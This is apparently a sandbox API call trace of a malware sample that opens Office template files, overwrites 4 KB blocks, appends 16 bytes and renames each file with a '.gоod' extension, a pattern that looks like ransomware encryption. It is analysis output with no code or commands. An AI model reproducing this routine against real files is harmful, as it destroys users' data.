[0219.358] CloseHandle (hObject=0x630) returned 1 [0219.358] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX", lpFilePart=0x0) returned 0x49 [0219.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0219.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0219.358] GetFileType (hFile=0x630) returned 0x1 [0219.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0219.358] GetFileType (hFile=0x630) returned 0x1 [0219.358] WriteFile (in: hFile=0x630, lpBuffer=0x35d6280*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x35d6280*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0220.276] CloseHandle (hObject=0x630) returned 1 [0220.307] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX", lpFilePart=0x0) returned 0x49 [0220.307] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX.gоod", lpFilePart=0x0) returned 0x4e [0220.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0220.307] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate.potx"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7f83192f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4572e)) returned 1 [0220.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0220.307] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE.POTX.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate.potx.gоod")) returned 1 [0220.308] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX", lpFilePart=0x0) returned 0x4a [0220.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0220.308] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate2.potx"), fInfoLevelId=0x0, lpFileInformation=0x39c7790 | out: lpFileInformation=0x39c7790*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48d3e)) returned 1 [0220.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0220.308] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX", lpFilePart=0x0) returned 0x4a [0220.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0220.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate2.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0220.309] GetFileType (hFile=0x630) returned 0x1 [0220.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0220.309] GetFileType (hFile=0x630) returned 0x1 [0220.309] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0220.309] ReadFile (in: hFile=0x630, lpBuffer=0x39c7bd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x39c7bd8*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0220.310] CloseHandle (hObject=0x630) returned 1 [0220.310] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX", lpFilePart=0x0) returned 0x4a [0220.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0220.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate2.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0220.311] GetFileType (hFile=0x630) returned 0x1 [0220.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0220.311] GetFileType (hFile=0x630) returned 0x1 [0220.311] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x48d3e [0220.311] WriteFile (in: hFile=0x630, lpBuffer=0x39c8e88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x39c8e88*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0220.312] CloseHandle (hObject=0x630) returned 1 [0220.312] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX", lpFilePart=0x0) returned 0x4a [0220.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0220.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate2.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0220.312] GetFileType (hFile=0x630) returned 0x1 [0220.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0220.312] GetFileType (hFile=0x630) returned 0x1 [0220.313] ReadFile (in: hFile=0x630, lpBuffer=0x39d7768, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x39d7768*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0220.438] CloseHandle (hObject=0x630) returned 1 [0220.439] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX", lpFilePart=0x0) returned 0x4a [0220.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0220.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate2.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0220.439] GetFileType (hFile=0x630) returned 0x1 [0220.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0220.439] GetFileType (hFile=0x630) returned 0x1 [0220.439] WriteFile (in: hFile=0x630, lpBuffer=0x367b8b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x367b8b8*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0220.439] CloseHandle (hObject=0x630) returned 1 [0220.439] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX", lpFilePart=0x0) returned 0x4a [0220.439] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX.gоod", lpFilePart=0x0) returned 0x4f [0220.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0220.439] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate2.potx"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa284551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa284551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7f9af27e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x48d4e)) returned 1 [0220.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0220.439] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate2.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PREVIEWTEMPLATE2.POTX.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\previewtemplate2.potx.gоod")) returned 1 [0220.440] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS", lpFilePart=0x0) returned 0x40 [0220.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0220.440] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\primary.css"), fInfoLevelId=0x0, lpFileInformation=0x36bd310 | out: lpFileInformation=0x36bd310*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x472474e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x472474e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x472474e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1 [0220.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0220.440] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS", lpFilePart=0x0) returned 0x40 [0220.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0220.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\primary.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0220.441] GetFileType (hFile=0x630) returned 0x1 [0220.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0220.441] GetFileType (hFile=0x630) returned 0x1 [0220.441] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xd7a [0220.441] ReadFile (in: hFile=0x630, lpBuffer=0x36be318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x36be318*, lpNumberOfBytesRead=0x1f59dd38*=0xd7a, lpOverlapped=0x0) returned 1 [0220.442] CloseHandle (hObject=0x630) returned 1 [0221.812] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS", lpFilePart=0x0) returned 0x40 [0221.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0221.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\primary.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.813] GetFileType (hFile=0x85c) returned 0x1 [0221.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0221.813] GetFileType (hFile=0x85c) returned 0x1 [0221.813] WriteFile (in: hFile=0x85c, lpBuffer=0x38a5ac8*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x38a5ac8*, lpNumberOfBytesWritten=0x1f59dc48*=0xd80, lpOverlapped=0x0) returned 1 [0221.814] CloseHandle (hObject=0x85c) returned 1 [0221.814] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS", lpFilePart=0x0) returned 0x40 [0221.814] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS.gоod", lpFilePart=0x0) returned 0x45 [0221.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0221.814] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\primary.css"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472474e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x472474e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x806cbfb5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd80)) returned 1 [0221.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0221.814] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\primary.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PRIMARY.CSS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\primary.css.gоod")) returned 1 [0221.815] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC", lpFilePart=0x0) returned 0x41 [0221.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0221.815] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.doc"), fInfoLevelId=0x0, lpFileInformation=0x38a6e30 | out: lpFileInformation=0x38a6e30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa369325, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00)) returned 1 [0221.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0221.816] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC", lpFilePart=0x0) returned 0x41 [0221.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0221.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.817] GetFileType (hFile=0x85c) returned 0x1 [0221.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0221.817] GetFileType (hFile=0x85c) returned 0x1 [0221.817] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0221.817] ReadFile (in: hFile=0x85c, lpBuffer=0x38a7238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x38a7238*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0221.818] CloseHandle (hObject=0x85c) returned 1 [0221.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC", lpFilePart=0x0) returned 0x41 [0221.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0221.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.819] GetFileType (hFile=0x85c) returned 0x1 [0221.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0221.819] GetFileType (hFile=0x85c) returned 0x1 [0221.819] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x4e00 [0221.819] WriteFile (in: hFile=0x85c, lpBuffer=0x38a8678*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x38a8678*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0221.820] CloseHandle (hObject=0x85c) returned 1 [0221.820] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC", lpFilePart=0x0) returned 0x41 [0221.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0221.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.820] GetFileType (hFile=0x85c) returned 0x1 [0221.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0221.820] GetFileType (hFile=0x85c) returned 0x1 [0221.820] ReadFile (in: hFile=0x85c, lpBuffer=0x38aa980, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x38aa980*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0221.891] CloseHandle (hObject=0x85c) returned 1 [0221.891] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC", lpFilePart=0x0) returned 0x41 [0221.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0221.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.892] GetFileType (hFile=0x85c) returned 0x1 [0221.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0221.892] GetFileType (hFile=0x85c) returned 0x1 [0221.892] WriteFile (in: hFile=0x85c, lpBuffer=0x36d4ff0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x36d4ff0*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0221.892] CloseHandle (hObject=0x85c) returned 1 [0221.892] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC", lpFilePart=0x0) returned 0x41 [0221.892] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC.gоod", lpFilePart=0x0) returned 0x46 [0221.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0221.892] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.doc"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8078ad22, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e10)) returned 1 [0221.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0221.892] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.doc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.DOC.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.doc.gоod")) returned 1 [0221.893] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT", lpFilePart=0x0) returned 0x41 [0221.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0221.893] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.ppt"), fInfoLevelId=0x0, lpFileInformation=0x37437c0 | out: lpFileInformation=0x37437c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, 